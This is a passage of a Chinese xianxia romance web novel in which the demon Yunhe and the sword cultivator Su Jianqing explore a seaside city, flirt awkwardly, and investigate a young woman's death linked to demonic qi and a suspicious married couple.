隔着雾的一张张脸在眼前掠过,她分明看不清模样,内心却清晰地知道他们都是何人。 一个称呼堵在嘴边,蓦地一声响动,蕴禾猛然惊醒,霍地翻身而起。 她沉着脸挥开房门,“进来。” 苏见清端着饭菜进门,瞧见蕴禾难看的脸色,眉心一皱,“阿蕴姑娘怎么了?” 蕴禾问:“你那屋子和我的有什么不同?” 苏见清环视客房,摇头,“除了某些细节,大体相似。” “在这榻上休息了?” “冥想了片刻。” “可有入梦?” 苏见清摇头,“并无。” 他试探问:“阿蕴姑娘可是做了噩梦?” 蕴禾揉弄太阳穴。 既然和这屋子无关,那就是她自己的原因了。 过去这么久,哪怕是当年,她都未曾梦见过他们,今日是怎么回事? 沉闷地坐在榻上看苏见清摆膳,香味钻进鼻腔,逐渐驱散那点子郁气,蕴禾舒了口气。 她走到桌边坐下,接过苏见清递来的玉箸,瞟一眼桌上菜肴。 观沧海临海,此地居民多食海物,烹饪方式多样。蕴禾来了兴致,夹了块鱼肉放进嘴里。 她微顿,又夹了块。 苏见清坐在对面为她剥虾,“听跑堂说,这种虾肉质极为鲜甜,阿蕴姑娘尝尝?” 蕴禾吃了一个,眼睛微亮,矜持道:“不错。” 见她终于露出笑颜,苏见清笑笑,继续剥虾。 一顿饭吃完,蕴禾神色虽有好转,眉眼却始终蕴着一股郁气,苏见清提议,“离天黑还有一个时辰,阿蕴姑娘可要出去逛逛?” 蕴禾可有可无点头,“可。” 出去转转也好,免得她在房里越闷越烦。 二人一道离开客栈。 城内很是热闹,小童追逐游鱼,留下一串清脆笑声。街道两侧商铺林立,精美商品看得人目不暇接。 姑娘们相约在铺子里穿梭,离开时或是发间多一朵珠花,或是腰上缠绕玉环。 漂亮姑娘的确能让人心情愉悦,蕴禾懒懒看着一名姑娘从成衣铺前走过,笑容似海棠初绽,娇美秀妍。 苏见清蓦地出声,“阿蕴姑娘也想试试?” 蕴禾:“什么?” 顺着他的目光看过去,是那间成衣铺子。 蕴禾:“我不缺衣裳。” 苏见清:“女为悦己者容,观沧海衣饰新奇漂亮,阿蕴姑娘哪怕不缺,买几身穿着心情也好。” 蕴禾目光新奇,每每她觉得苏见清呆闷时,他总能说出让她意外的话。 从外往里看,成衣铺子里的衣裳的确新奇又好看,蕴禾被他说得起了兴,眉梢一扬,“那就走吧。” 苏见清浅浅勾唇,落在她后头。 进了铺子,两名梳着双髻,发上缠绕珍珠链子的姑娘迎上来,笑盈盈围着蕴禾介绍店内衣物。 “姑娘生得这么漂亮,穿上这件粉色鲛纱广袖流仙裙一定更好看。” “这件胭脂色的也好看,衬得姑娘肤色越发白皙,比蚌里的珍珠更显玉润。” “哇!还有这件水蓝色的,姑娘,你真的太美了!” “这件这件,这件鹅黄色,活泼又俏皮,我的天,我从未见过这么漂亮的姑娘!” 蕴禾逐渐迷失在一声声夸赞里,头脑一热,直接让人将试过的衣裳全包好。 苏见清摇头失笑,转身去结账。 买完衣裳,两个姑娘让蕴禾选一身当场换上,随后将她按坐在妆台前,笑盈盈道:“姑娘,我们给你上妆。” 两人互相配合,很快替蕴禾换了妆容。 苏见清看着镜子里的姑娘略有失神。 她身着粉色广袖流仙裙,领口袖口皆镶嵌珍珠,粉白腰封勾勒细腰,墨发被编成辫子盘在脑后,剩余一绺垂落前肩。 白粉珍珠链子缠绕发间,眉心一颗水滴状宝石,眼尾缀着珍珠花钿,清灵秀丽,顾盼生辉。 “想什么呢?” 镜中的姑娘走到面前,苏见清回神,斜眼看一旁挂在衣桁上的外裳。 摇头低声,“没什么。” “没事就走吧。” 蕴禾从苏见清身边走过,衣上珍珠在他手背轻触,剑修手掌微动,回味微凉触感。 他停驻须臾,大步追上蕴禾。 身后姑娘热烈相送,“姑娘,下次再来啊。” 挥了挥手,蕴禾与苏见清并肩而行。 “接下来去哪儿逛?” 蕴禾眼珠转动,指向某处,“那边。” “砰——” 手刚抬起,正前方一名女子蓦地摔倒在地,泪水涟涟的双眸正对着蕴禾的方向。 蕴禾:“……” 第38章 周围行人的目光不约而同朝蕴禾射来,她噌地收回手,否认道:“不关我事!” 有姑娘发出善意的笑声,“姑娘不用紧张,我们知道与你无关。” 蕴禾不自在地摸鼻子。 这时,有人将摔倒的女子扶起,她抬头道谢,双瞳剪水,玉面似白璧,发间珍珠长流苏垂坠,温柔有光泽,竟是个罕见的美人。 美人温声细语道谢,好心人不忍道:“莲若姑娘怎的一个人出来了?你家夫君呢?” 莲若柔声答:“他有事忙,不在家中。” 好心人听了却是一脸不满,“柳郎君一天天的也不知道做甚,有莲姑娘这么好的妻子不好好呵护,整日想着往外跑。” 莲若温声解释,“他是男子,也有自己的事做,我也不能整日把他拴在家里不是?我已经没事,方才只是不小心摔了一跤,这位姑娘,多谢你。” 好心人还欲开口,周围纷纷劝慰。 “人家两口子的事,你一个外人不要多管。” “是啊,我看柳郎君和莲姑娘十分要好,前几日还看见他们夫妻一同观海呢。” 人群议论纷纷,蕴禾不欲再听,拉着苏见清就要走。 被围在中间的莲若似有所觉,抬头朝二人的方向看来,点头致意,嘴角笑意温和友善。 蕴禾微怔,若有所思。 苏见清却是颔首回礼,端正有礼。 离得远了,蕴禾蓦地出声,“你喜欢她?” 苏见清一惊,“谁?” “方才那名莲姑娘。” 苏见清神色震惊,不能理解,“阿蕴姑娘为何有此一问?” 蕴禾耸肩,“你向来和女子保持距离,方才却对莲姑娘存了三分温柔,这不是喜欢?” 像成佩兰,除了请教她如何做毛绒玩偶之外,苏见清待她与寻常师姐妹并无不同。胥绿真因是师姐,多了两分尊重。 曲江篱就更不用说了,待她是君子之交。 面对莲姑娘时,蕴禾说不清苏见清有什么区别,但潜意识里就是觉得不一样。 苏见清的第一反应是,阿蕴姑娘对他的情绪感应好敏锐啊。 这个念头在脑中划过,他顾不上分辨心中情绪,急声解释,“阿蕴姑娘误会了,不过一面之缘,谈何喜欢?” 蕴禾不高兴了,“不是还有一见钟情之说?” “真的不是。” 苏见清苦笑否认,“莲姑娘身上有股特别的气质,像是……” 他皱眉思索,“像是久病之人,体虚孱弱,面对她时不免生出几分尊重怜意。” 体虚孱弱? 蕴禾摇头,“没看出来。” 见她不再揪着“喜欢”不放,苏见清松口气,温声道:“无碍,本就是萍水相逢,过几日我们便要离开,莲姑娘如何都与我们无关。天快黑了,阿蕴姑娘可要接着逛?” 蕴禾现下兴致不错,“接着逛吧。” 苏见清浅浅勾唇,“好。” 夜晚的观沧海与白日呈现出不同的美。各式各样的花灯亮起,蕴禾瞧见一盏鲤鱼灯张嘴,吐出一连串的粉色泡泡,被灯光一照,嘭一下破碎,涌出无数朵小花。 数颗夜明珠高悬头顶,光泽明亮温润。街头杂耍喷出日照雪山的蜃景,引得阵阵惊呼。 空中有人控制游龙傀儡飞翔,龙头威风凛凛,灯光璀璨,所过之处皆落下七彩祥云,勾得小童拊掌大笑。 苏见清为蕴禾买了包小鱼干。 小鱼被炸得极为酥脆,上面洒满了香料,蕴禾一口一个,吃了一路。 二人逐渐走到空寂处,苏见清四处张望,“这好像是城中百姓的居所。” 蕴禾吃下一个小鱼干,腮帮子微鼓,“没什么好逛的,走吧。” 脚步刚抬起,忽然一阵歌声在夜中传荡。 那歌声缥缈空灵,如山麓间飘荡的一缕薄雾,云端飘飞的一片轻羽,又似空旷海底游动的一尾游鱼,悠远中掺杂孤寂,令闻者沾襟,潸然泪下。 苏见清怔了许久,“这歌声……” 蕴禾甩甩脑袋,眸底流露兴味,拉住苏见清手腕,道:“走,看看是谁在唱歌。” 苏见清长睫微动,顺从道:“好。” 二人顺着歌声追去,穿过巷子,眼前映入一座小院。 府门大开,院内种一棵桐树,桐花翩然而落,飘至门前石阶上女子裙摆。她抱着双膝,玉面微垂,碎发安顺贴在脸侧。 女子盯着鞋头镶嵌的白珍珠,樱唇张阖,吐出空灵优美的歌声。 苏见清意外,“是她?那位莲姑娘?” 蕴禾凝视她须臾,忽地看向身后。 苏见清随之而望。 巷口走来一男一女。女子依依不舍地拉扯男子衣袖,侧脸靠上男子肩头,低声抱怨。 男子揽住她肩,亲昵地在女子耳畔低语,哄得女子绽开笑容,羞涩嗔他。 二人分开,女子在原地站了许久,不舍目送男子步入巷中。 蕴禾抬手一挥,隐去二人身形,看着那男子从她和苏见清身侧走过,停至门前,温柔道:“阿若,怎么又在门前等我。” “夫君!” 莲若惊喜起身,牵住男子衣袖,笑容温婉,“你回来了。” 男子笑着反握住莲若的手,牵她进门,温言道:“这么晚了,怎么还不歇息?不是说过了,不必等我,你自去歇息就是。” 莲若温柔的嗓音泛甜,“我想你回来就能看见我……” 二人的身影消失在门后,府门重重一关,彻底隔绝窥探的目光。 蕴禾若有所思,“丈夫和情人就在巷口,离得这么近,你说那莲姑娘究竟看没看见?” 没听到苏见清回话,她回头,“喂,问你……” 话音戛然而止。 蕴禾顿住,怔怔抬睫。 目之所及之处,是年轻剑修白皙修长的脖颈,喉结锋利流畅,颈侧有青筋凸显。她与他的锁骨离得很近,淡淡竹香传入蕴禾鼻端,她齿尖莫名发痒,很想咬些什么。 唇瓣一张,温热吐息打在白嫩肌肤上,细小疙瘩在蕴禾眸中冒起,她舔舔唇,忽地往前一步。 “阿、阿蕴姑娘……” 苏见清仓促后退,与蕴禾拉开距离,耳尖红得仿佛能滴血,眼神飘忽,看左看右就是不敢看她,赧然轻声道:“方、方才我在看那男子腰间玉剑,总、总觉得在何处见过。” 蕴禾也不知刚才自己想做什么,但她被打断后心中生恼,脸一肃,正要发脾气,蓦地觉得苏见清此刻的模样很是有趣。 舌尖从齿尖扫过,她兴致上头,陡然攥住苏见清手腕,倾身上去。 第39章 “阿、阿蕴姑娘?!” 苏见清面色呆滞,大脑一片空白,虚虚凝着与他只有一寸之距的姑娘。 红意从耳后攀至脸颊,沿着脖颈没入胸膛,他像块被泼了红墨的玉石,纯澈润泽,又蛊惑人心。 在苏见清紧张羞赧的目光下,蕴禾伸手,弹琴般轻轻拨弄他通红的耳尖。 “你怎么……” 蕴禾踮脚,笑意如川流泄出,在苏见清耳畔吐气如兰。 “这么容易害羞啊?” 苏见清手脚发僵,心跳如擂鼓。他不知作何反应,索性吐出一口气,偏过头去,“阿蕴姑娘……” 喉结滚动,苏见清低声道:“莫要如此戏弄我了。” 蕴禾鼻腔发出一声轻哼,“你管我。” 后退时,指尖无意中从苏见清耳后肌肤划过,激得他全身一抖,用尽全力屏住呼吸,压下喉咙里的奇怪声音。 蕴禾捂唇打哈欠,懒洋洋道:“没什么好玩的,走吧,回去。” 苏见清勉强收敛心神,“好。” 二人返回客栈。 各自回房之前,蕴禾叫住苏见清。 “苏见清。” 苏见清猛然回身,“怎、怎么了?” 蕴禾奇怪,“你怎么魂不守舍的?” “没……”苏见清摇头,“没事。” 蕴禾也不在意,从储物手链里取出一物交给他,“这个给你。” 苏见清不解,“这是什么?” 蕴禾随口道:“昔年得了两套玉婵纱衣,样式正好是一男一女,我自己穿一套,剩下一套拿着没用处,看在今日你替我买衣裳的份上送你了。” 说完,她打着哈欠进屋,“困死了,我回去睡了。” “嘭。” 眼前房门阖上。 苏见清垂首望向手中衣衫,许久未动。 正好一男一女……吗? …… 好安静。 她好像躺在一处洞穴中。 四周一片寂静,黑暗将她的身影吞没,她浑身动弹不得,艰难想要睁开眼。 “砰——” 挣扎之下,她不知碰到何物,哗啦啦的潮水从四面八方涌来,温暖簇拥着她的身体。 潮涌声中有人在唱歌。 她听不清她唱的什么,却依稀听到一段优美空灵的调子,似在唱停留礁石的海鸟,又仿佛在唱翱翔云端的鲲鹏,一声又一声,无端令她沉醉。 伴随着歌声,她缓缓睁眼。 她身上不知何时覆上一人,她看不清他的脸,只觉他分外熟悉。 那人手指轻抚她柔软发丝,唇瓣一张一合,轻轻呢喃着。 什么? 她并未听清。 那人轻声而笑,撑着身子离开。一段脖颈在她面前晃动,喉结锋利流畅,轻轻滚动着。 她心生烦躁,一把将人拉住,张唇咬上去。 …… 蕴禾猛地睁眼。 她脸色难看地坐起身。 齿端仿佛残留着啮咬梦中人喉结的触感,她手握成拳,低低骂了一声。 什么玩意? 好端端的,她怎么会做这种梦? 手上一热,蕴禾垂眸。 储物手链兀自发光,她烦躁地把某样东西拽出来。 那是颗拳头大小的紫色珠子,饱满圆润,内有光华游动,光彩夺目,璀璨生辉。 它躺在蕴*禾掌心,光芒闪烁,触感微热。 蕴禾拧眉。 这颗鲛珠是怎么回事? 难不成它生前的主人曾来过此地,留下了气息,导致它有了反应? 可鲛人虽然天真单纯,情感充沛而真挚,也不能让她做这种梦吧? 抑或是说,她只是想男人了? 这个念头在脑海中划过,蕴禾脸色更为难看。 天色大亮,蕴禾已无睡意,从榻上起身,双足落地时,身上衣物首饰已大变模样。 她拉开门。 隔壁房间的苏见清正巧开门。玉婵纱衣在他身上幻化为一件素白色宽袖长袍,衣襟和腰身绣着青竹纹,素净又不失风雅,很是衬他。 看清蕴禾穿的是昨日买下的衣物,苏见清略有失落,眸中清光暗淡一瞬又很快亮起,“阿蕴姑娘今日想去何处逛逛?” 话音方落,却见蕴禾用一种奇怪的眼神看着自己。苏见清莫名,“怎么了?” 蕴禾紧紧盯着苏见清的喉结看。 怎么觉得和她梦里的那么像? 她往前逼近苏见清。 苏见清被她目光所慑,下意识后退。 二人一进一退,苏见清被逼着靠上墙壁,无所适从地紧张低声唤她,“阿、阿蕴姑娘……” 眼前蓦地出现一张放大版的俏脸,苏见清一惊,耳根攀上薄红,喉结不觉滚动。 这下更像了。 蕴禾忽地产生疑虑,该不会这段时日她身边唯有苏见清一个男人,所以他才会入她梦? 这样倒是解释得清。 蕴禾心情好转,好以整暇望着他,“好端端的,你脸红什么?” 她离他那么近,说话时气息扑在他脸侧,苏见清浑身热气上涌,紧张得话都快说不清了,“阿、阿蕴姑娘,你、我,我们……” 他似难以启齿,低垂的长睫盖住眼中羞赧,低声道:“……离得太近了。” “哦。”蕴禾无所谓,“那又怎么?” 苏见清怔然抬眸。 却见蕴禾素手在他肩上轻轻一拂,拿着一根发丝在他眼前晃,无辜道:“我只是见你掉了根头发,想替你摘掉罢了,谁叫你躲了?” 苏见清红着脸无奈。 阿蕴姑娘手中的发丝白如霜雪,怎么也不可能是他的。 即便是想捉弄他,也不肯认真一点,那么随心所欲又满不在乎。 苏见清启唇,“多谢……阿蕴姑娘。” 蕴禾满意地弯唇而笑,回答他最初的问题,“今日不去逛街,你随我去碧落潮。” 苏见清微愣,“去碧落潮作甚?” 蕴禾退开,转身扬声道:“取龙牙晶。” 再不泄泄火气,她怕今晚又会做乱七八糟的梦。 …… 一个时辰后。 碧海蓝天下,盘旋在空中的海鸟急速逃离,飞往不同的方向。 海浪翻滚,不断冲刷着礁石。 清澈如碧玉般的海水冲天而上,仿佛瀑布般顺流而下,砸向海面上具具漂浮的妖兽尸体。 海滩上躺着许多贝壳与五颜六色的晶石,苏见清拾起一颗白色的,轻轻放在掌心。 他脚边堆积不少石头,大多是黑白二色,垂首忙活着,不时抬头翻动木架上的烤鱼。 俊秀仙君坐于海边,海风轻轻吹拂墨色长发,若非不远处激烈战斗中夹杂着妖兽痛苦的嘶鸣,倒是一幅极为养眼的画卷。 “哗啦啦——” 潮水退去,蕴禾涉水而上。 发泄一通后,她神清气爽上岸,抬手一挥,龙牙晶哗哗砸落在苏见清不远处,很快堆成小山。 “喏,都拿去。” 苏见清收了手里的东西,取下一串烤鱼,“先吃吧。” 一大早的未进食就来了这碧落潮,蕴禾的确馋了,随意坐在石上,吹两下张口咬下一块鱼肉。 苏见清的厨艺总能让她满意。 蕴禾吃得眉眼舒展,极为满足。 吃完一条鱼,蕴禾正要去拿第二条,余光瞥到苏见清脚边金灿灿的成堆龙牙晶,后知后觉问:“你不高兴?” 苏见清怔愣住,摇头否认。 他将龙牙晶收进芥子囊,顺手把烤鱼递给蕴禾,温声道:“吃吧。” 狐疑盯他两眼,蕴禾看不出异样,懒得再管,嗷呜咬下一口鲜嫩鱼肉。 见她吃得开心,苏见清眼底淌过笑意,下一瞬,上翘的嘴角缓缓拉直。 他低眸看向尚未熄灭的火光。 如今龙牙晶到手,他已没了再在观沧海停留的原因。 回伏渊的路上,阿蕴姑娘可还会与他同行? 第40章 吃完鱼,两人返回城中。 蕴禾:“龙牙晶到手,你准备回伏渊了?” “嗯。 苏见清沉声,“也该回去了。” 蕴禾奇怪看他一眼。 这人怎么回事?从刚刚开始就奇奇怪怪的。 她操控青羽停下。 苏见清随之停住,疑惑问:“怎么了?” 眸中青芒一闪而过,蕴禾直视苏见清,【你在想什么?】 见她不动,苏见清越发困惑,“阿蕴姑娘?” 蕴禾莫名,想我做什么? 等等。 她瞪大眼,方才苏见清那话,是从嘴里说出来的? 蕴禾震惊,“你是清醒的?” 苏见清奇怪她为何有此一问,“阿蕴姑娘这话是何意?我一直都很清醒。” 蕴禾难以置信。 她的神控术源自血脉神通,修成之后不说所向披靡,却也鲜有失手,为何偏偏在苏见清身上不起作用? 但转念一想,她的命都和苏见清绑在一起,一个术法不起作用有什么可奇怪的。 蕴禾闷闷道:“没什么,走吧。” 苏见清薄唇微抿,轻轻点头。 蕴禾坐在青羽上,凝着苏见清的眸光微沉。 此人真是个谜,直到现在,她也不曾探清他的秘密。 究竟是他太会隐藏,还是他当真就是容易被人看穿的性子?她无从得知二人之间的渊源从何而来,只因他也不清楚? 蕴禾眉头拧紧。 照这样下去,她该不会要在玄清域待一辈子吧? 蕴禾往后一靠,心情郁郁指挥青羽跟上苏见清。 她凝视前方剑修的身影,脑子里快速闪过一个念头。 或许……她可以把苏见清带回妖域? …… 在观沧海城门口落地,蕴禾问:“要回伏渊,折回城里作甚?” 苏见清:“客房还未退,得先回趟客栈。” 他有些庆幸清晨临走前并未提前退掉客房,否则此刻已经在回伏渊的路上了。 蕴禾拉长音调“哦”一声,“那就走吧。” 路上,苏见清的话在肚里绕了好几圈,却始终不敢开口。 阿蕴姑娘是妖族,若她要回妖域,那以后说不定就很难见面了。 苏见清抿唇,“阿……” “啊!!!死人了!!!” 突如其来的声音将苏见清好不容易鼓起的勇气打断,听清那人喊的什么,他眸光一变,快步近前。 蕴禾慢慢悠悠跟上。 穿过人群,只见一女子横躺在街上,两只手腕似被利器割破,鲜血奔涌而出,顺着白皙肌肤流淌至身下。 她双目圆睁,眼中有血泪划过姣好面容,死状凄惨。 “这不是封柔姑娘吗?她、她怎么死了?” 苏见清偏头看向说话人,“你认得她?” 那人看着苏见清和他身侧的蕴禾怔愣一瞬,“认、认得。她是城南封家的姑娘,生得花容月貌,及笄后媒人纷纷上门,她却拒之不见,一门心思想嫁个修士。” “最近见她红光满面,我还当封家有喜事,没想到,她竟然就这么死了。” “多谢。” 苏见清转向人群,“有人可见到这姑娘怎么死的?” “我亲眼看见她走着走着,忽然就倒下了。” “是啊,我还当她是身子不适,正准备搭把手,可一转头,却、却……” 话音未落,有人喊道:“城主府来人了!” 人群让出一条道,见到身着盔甲的护卫统领,七嘴八舌地说着起因经过。 护卫统领听完,让人将封柔抬走。 两名护卫抬起盖着白布的尸体从苏见清身边路过,他目光追寻,落在那只露在外头的腕子上。 “阿蕴姑娘,我们可能暂时走不了了。” 蕴禾撩起羽睫。 清隽剑修面色肃然,沉声道:“那位封姑娘伤口处,有丝浅淡魔气。” …… 苏见清松手,目送流光钻进云层,失了踪迹。 “阿蕴姑娘,我们走罢。” 蕴禾百无聊赖走在他身旁,随口问:“你觉得杀她的凶手和莲姑娘与她的丈夫有关吗?” 苏见清:“莲姑娘和她的夫君不过寻常人,怎会与魔修扯上关系?” “那可不一定。” 蕴禾随手抓起苏见清衣袖,指尖点点秀雅竹纹,“你不是说见过莲姑娘的丈夫腰间玉剑?能让你有印象的,肯定不是什么普通人。” 苏见清蓦地一僵,脚步滞住。 手上阻力拦住蕴禾往前的步伐,她回头,一脸不高兴,“怎么不走了?” 苏见清目光在她拉扯自己衣袖的手上一顿,若无其事上前,“无事,只是在想阿蕴姑娘方才的话。” 蕴禾哦一声,绕着手中衣袖甩两下。 动作间,她的手背蹭到苏见清的,二人皆是一怔,目光相视。 剑修的眸光仿佛一汪清泉,明亮清澈。漆黑瞳仁倒映着姑娘的身影,似幽静湖面蓦地升起一抹月光,月影融入湖水,柔光皎洁,密不可分。 片刻后,两人不约而同移开目光。 苏见清斜视前方屋舍,喉间发痒,耳根微微发烫。 蕴禾默默松开手里袖子,两道细眉轻轻拧起。 奇了怪了,她今日是怎么了? 方才看苏见清时莫名其妙觉得哪里不对。人分明还是从前那个人,可就是说不上来何处有了变化。 奇怪。 不止是苏见清,整座城都很奇怪。 不能再懒散下去了,这次必须帮助苏见清尽快找到魔修,然后让他赶紧离开这座城。 再待下去,说不定连她都会变得奇奇怪怪的。 打定主意,蕴禾快走两步,“赶紧的,先去封家。” 苏见清应声,快步跟上蕴禾。 封柔的父母已经得知了女儿遇难的消息,老两口哭着去认女儿的尸首。亲朋们聚在封家,小声啜泣着宽慰上了年纪的封家祖母。 听着里边传来的哭声,苏见清迟疑,“阿蕴姑娘,我们怎么问?” “简单。” 蕴禾堂而皇之进了封家。 随着她走进,哭声止,时间停,封家亲朋表情定格,静立原地。 蕴禾看向封家祖母,眸中亮起绿光,“你孙女最近可有异常?” 封家父母小有资产,给老母亲寻了不少延年益寿的丹药,这位祖母虽头发花白,身子骨却很是硬朗,精气神也不错。 闻言木讷道:“阿柔近日早出晚归,问她去了何处也是含含糊糊的,她爹急了,逼问一通后,得知她竟是认识了一位仙君。” 蕴禾追问:“什么仙君?” 封家祖母道:“我们并未见过,阿柔说仙君待她极好,让她爹娘别给她说亲,再等些时日,她的好日子就到了。” 苏见清第一次见蕴禾这般法术,目光新奇在她身上绕一圈,认真听封家祖母的话。 蕴禾又问了几句,可封家祖母实在不知,只好作罢,拉着苏见清离开。 二人离开封家那一刹,静止的时间重新流动,身后哭声再度响起。 “你方才可在封家察觉到魔气了?” 苏见清摇头,“并无。我们现在去找那位‘仙君’?” 蕴禾点头。 封家并无魔气残留,说明封柔遭难并不是家中惹来的灾祸,而是她自己引来的。 如今她身边出现的异常,唯有那位“仙君”。 此事十有八.九与他有关。 蕴禾:“去莲姑娘家。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 蕴禾与苏见清来到上次的那间小院。 她故技重施,带着苏见清进入院子,跃上屋檐,低头打量院中二人。 莲若正和丈夫做饼。 二人亲亲热热靠在一处,说笑着聊家常,男子伸手,抹去莲若脸上面粉,惹得她俏脸羞红,嗔了丈夫一眼。 好个郎情妾意。 蕴禾坐着青羽,两腿交叠,一手撑着下巴,偏头问:“你说,他们可知封柔死了?” 若是知晓,这男人却面不改色与妻子调情,倒是好一个薄情人。 苏见清摇头,“我不知。” 蕴禾哼一声,“不管他们知或不知都无妨,现在让他们知道不就好了?” 她张目四望,挑中一人,指尖溢出一缕妖力,飞速钻入那人眉心。 苏见清:“阿蕴姑娘想做什么?” 蕴禾拍拍掌心,“别说话,你只管看。” 苏见清只好闭嘴,目光落在被蕴禾挑中那人身上。 只见她双目茫然在原地静立片刻,随后目标明确朝莲若家走来,脸色惊惶敲响房门。 “莲姑娘在家吗?” 莲若侧耳一听,对丈夫道:“好像是隔壁的徐嫂子。” 男子起身,“去看看吧。” 莲若笑着点头,净过手在身上擦拭后将院门打开,好奇问:“嫂子寻我有事?” 徐嫂子一把抓住莲若的手,惊道:“莲姑娘听说了没,出大事了!” “什么大事?” “今日城中死人了!” 莲若震惊,“啊?什么人?” 徐嫂子:“听说是城南封家的姑娘,无缘无故死在大街上。好端端的,城里怎么会发生这种事,这也太可怕了。” 莲若拧眉,“封家姑娘?” “是啊。”徐嫂子连连点头,“莲姑娘认识她?” 莲若摇头否认,“我极少去城南,怎会认识什么封家姑娘?只是可惜,她年岁应该不大吧?” “还未出阁呢。” 莲若叹气,“年纪轻轻的就这么去了,她家里人该是何等伤心。” 徐嫂子也随之一叹。 “怎么了?好端端的叹什么气?” 徐嫂子瞧了他,意外道:“柳郎君也在家?” 男子颔首,笑着打招呼,“徐嫂子。” 徐嫂子拉着男子将方才的话又说了一遍,语重心长道:“封家姑娘貌美,虽不知她因何招惹杀身之祸,但家里有女子的警醒些最好,你近日可要好生照顾莲姑娘,别让她单独出门。” 男子面色微敛,肃着脸沉声,“嫂子放心,我定会保护好娘子。” 徐嫂子满意点头。 莲若红着脸道:“嫂子高看我家柳适了,他只是个普通书生。” 徐嫂子不赞同道:“柳郎君好歹也是个男子,遇事总不至于手无缚鸡之力,你啊,就是太心疼他了。” 莲若羞红脸嗔道:“嫂子。” 柳适作揖,“阿若脸皮薄,嫂子别打趣她了。” 见二人情义深重,徐嫂子面露笑意,又说了几句这才离开。 蕴禾手撑着膝盖,“你看出什么了?” 苏见清沉吟,“那名叫柳适的男子听说封柔姑娘出事后的反应太正常了,若非你我曾亲眼见他二人卿卿我我,实在难以想象他们有奸情。” “卿卿我我”“奸情”这样的字眼从他这样光风霁月的仙门仙君口中说出,总觉得分外违和。 蕴禾弯眼,并未多言,目光看向返回院中的莲若,眸底绿光亮起。 【你知道你夫君和封柔的事吗?】 莲若抬头,似往蕴禾所在的方向看了眼,只停顿一息便将目光移开,侧眸与柳适说话。 蕴禾噌地放下腿,难以置信地盯着莲若,再度催动神控术。 仍是毫无反应。 她脸色隐隐有些难看。 怎么回事?一日之内神控术接连两次失败,这是前所未有的事。 苏见清她还能理解,可莲若是怎么回事? 她一个普通凡人,为何能不受她控制? 蕴禾咬牙。 这座城果真克她! 敏锐察觉不对的苏见清问:“怎么了?” 蕴禾没回,吐出一口气,转而看向柳适。 【你是魔修?封柔是你杀的?】 柳适目光有一瞬呆滞,短促回答在蕴禾心间响起,【什么魔修?不是。】 下一刻,他陡然恢复,眉头微微皱起。 “怎么了?” 莲若关心问道。 “没事。” 柳适缓缓摇头,“只是方才走了神。” 他拉住莲若细腕,拧眉道:“怎么洗了这么多遍?” 莲若看他一眼,轻轻笑了,“手弄得那么脏,当然得好好清洗干净了。” 柳适唇畔含笑,手掌覆上莲若手背,柔声道:“为夫替你洗。” 屋檐上,蕴禾脸色沉重。 苏见清轻声问:“发生了什么?” 蕴禾侧眸对他道:“柳适并不知道魔修的存在,也否认自己是杀害封柔的凶手。” 她沉着脸,眸色阴恻恻的,不敢相信今日自己竟栽了三次。 一个苏见清,一个莲若,就连柳适,她也不过控制了他两息。 这些人到底怎么回事! 所向披靡的妖皇大人不敢相信自己引以为傲的神控术竟被克制,眉心紧紧皱着,看向院中二人的目光极为不善。 这对夫妻,一定不对劲。 苏见清若有所思。 他见过阿蕴姑娘那神奇的术法,她说柳适不是凶手,那便一定不是。 可这样一来,事情便没了头绪。 不是柳适,那又是谁? 柳适? 苏见清拧眉,脑海中有什么飞快闪过,他来不及捕捉,只觉这个名字好像有些耳熟,总觉得在哪儿听过。 想了片刻,始终没有头绪,苏见清只好作罢,“阿蕴姑娘可否问问莲姑娘?” 这一问直接戳中蕴禾伤疤,她恶狠狠瞪苏见清一眼,恶声恶气道:“不行。” 苏见清不解,“为何不行?” 蕴禾更怒,恶声恶气道:“不行就是不行,不行就是我对她施不了神控术,这下你满意了?” 苏见清没想到竟是这个原因,打了下磕巴,“抱、抱歉。” 蕴禾不买账,哼一声环胸瞪向莲若,“这女子怎么看都像个普通人,她究竟为何能抵抗本……我的术法?” 苏见清拧眉沉思。 天色渐暗,莲若和柳适携手进屋。莲若烙完饼,与柳适一同进餐,夫妻二人说说笑笑着吃完晚膳,不久后,屋里的灯熄了。 蕴禾伸懒腰,“走吧,先回去。” 苏见清不解,“不再接着看看?” 蕴禾朝他翻白眼,“你若是想看这夫妻俩共赴巫山,只管留下。” 苏见清猛然明白过来,白皙脸庞轰一下红了,嗫嚅道:“我、我不是……我没有那个意思……” 看他这一脸羞涩赧然,蕴禾心情大好,操控青羽往前两步转身,戏谑道:“还不走?我以为你真想看呢。” 苏见清噌地起身,衣袍翻飞,逃一般离开此地。 蕴禾慢悠悠坐着跟上,眸底笑意久久不散。 第42章 夜间的观沧海依旧繁华如初,仿佛白日那个女子的死不过是滴水入川流,掀不起一丝风浪。 夜明珠高高悬挂夜空,柔和光线温柔撒下,却照不进此间客栈。 蕴禾又做梦了。 奇怪的是,这次梦境的主角并不是她,她附身在一名女子身上,短暂地成为她。 她感受到“自己”宛如初生小兽,好奇凝望周围一切,所有东西在她眼里,都带来莫大的新奇。 她孤身游历玄清域,有时宿卧野外,以枝干为床;有时摘一片巨大叶子放入河中,倾身躺上去,任由水流将她带去远方。 她自由、好奇地探索这片领域。 直到那日,她遇见一个人。 山岚缥缈,雾色浓郁。 湖水清澈,倒映着山川青影。忽地驶来一只小船,破开水面上的倒影,留下层层涟漪。 蕴禾感受到“自己”躺在船上,面朝天闭眼休憩。 清风温柔拂过脸颊,发丝晃动,轻微痒意让她眉心略动。 小船骤然不动了,她睁开眼,轻咦一声,坐起身打探。 一只手破水而出,牢牢抓住船沿。那手格外苍白,根根分明,修长匀称,十分好看。 她并不害怕,反而好奇地盯着它。 破水声“哗啦——”一响,水珠洒落,溅到船内,从少女裙摆滴落。 有人攀着她的船从水中钻出。 那是个生得很好看的男人,肤色白皙,眉骨清秀,眉毛颜色不浓不淡,恰到好处。一头潮湿墨发紧贴着脖颈肩膀,青筋微凸,湿透的衣衫内隐隐透出流畅的肌肉线条。 他浑身泛着水汽,清新俊雅得仿佛这水里催生出的水妖。 “水妖”抬头,对着蕴禾温和一笑,“抱歉,惊扰了姑娘。不知姑娘可否让我上船停留稍许?” 蕴禾听到“自己”不断跳动的心跳声。 她呆呆愣了许久,那“水妖”保持着笑容不变,温和又礼貌地注视她眉心。 她脸一烫,忙道:“可、可以。” “水妖”一笑,撑着船翻身而上。 他身量很高,站在船上,身上水珠淅淅沥沥下落,将船打湿。 “水妖”单手成印,一个术法弹出,身上连带船内的水眨眼消失。 